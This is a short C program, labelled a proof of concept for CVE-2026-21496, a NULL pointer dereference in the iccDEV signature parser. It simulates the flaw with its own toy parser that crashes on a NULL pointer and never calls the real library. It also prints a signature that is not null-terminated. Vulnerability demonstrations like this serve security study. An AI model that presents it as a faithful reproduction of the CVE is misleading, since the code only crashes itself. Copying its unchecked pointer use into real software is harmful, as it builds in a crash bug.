CVE-2026-21496 iccDEV库签名解析器NULL指针解引用漏洞

// CVE-2026-21496 PoC - NULL Pointer Dereference in iccDEV Signature Parser // This PoC demonstrates the vulnerability by triggering NULL pointer dereference // Author: Security Researcher // Date: 2026-01-07 #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated ICC signature structure typedef struct { char signature[4]; void* next_tag; // NULL pointer triggers vulnerability } ICC_SignatureTag; // Vulnerable function - signature parser void parse_icc_signature(ICC_SignatureTag* tag) { // Check if signature matches expected value if (memcmp(tag->signature, "sf32", 4) == 0) { // VULNERABLE: Dereferencing potentially NULL pointer without check printf("Processing tag: %s\n", tag->signature); // This will cause NULL pointer dereference if next_tag is NULL int result = ((ICC_SignatureTag*)tag->next_tag)->signature[0]; printf("Next tag signature: %c\n", result); } } // Function to create malicious ICC profile ICC_SignatureTag* create_malicious_tag() { ICC_SignatureTag* tag = (ICC_SignatureTag*)malloc(sizeof(ICC_SignatureTag)); if (tag == NULL) { return NULL; } // Set malicious signature memcpy(tag->signature, "sf32", 4); // Set next_tag to NULL - triggers vulnerability tag->next_tag = NULL; return tag; } int main() { printf("CVE-2026-21496 PoC - iccDEV NULL Pointer Dereference\n"); printf("===================================================\n\n"); // Create malicious tag ICC_SignatureTag* malicious_tag = create_malicious_tag(); if (malicious_tag != NULL) { printf("Created malicious ICC signature tag\n"); printf("Signature: %.4s\n", malicious_tag->signature); printf("next_tag pointer: %p (NULL)\n\n", malicious_tag->next_tag); // Trigger vulnerability printf("Attempting to parse malicious tag...\n"); parse_icc_signature(malicious_tag); free(malicious_tag); } return 0; } // Usage: // Compile: gcc -o poc poc.c // Run: ./poc // Expected Result: Segmentation fault (NULL pointer dereference)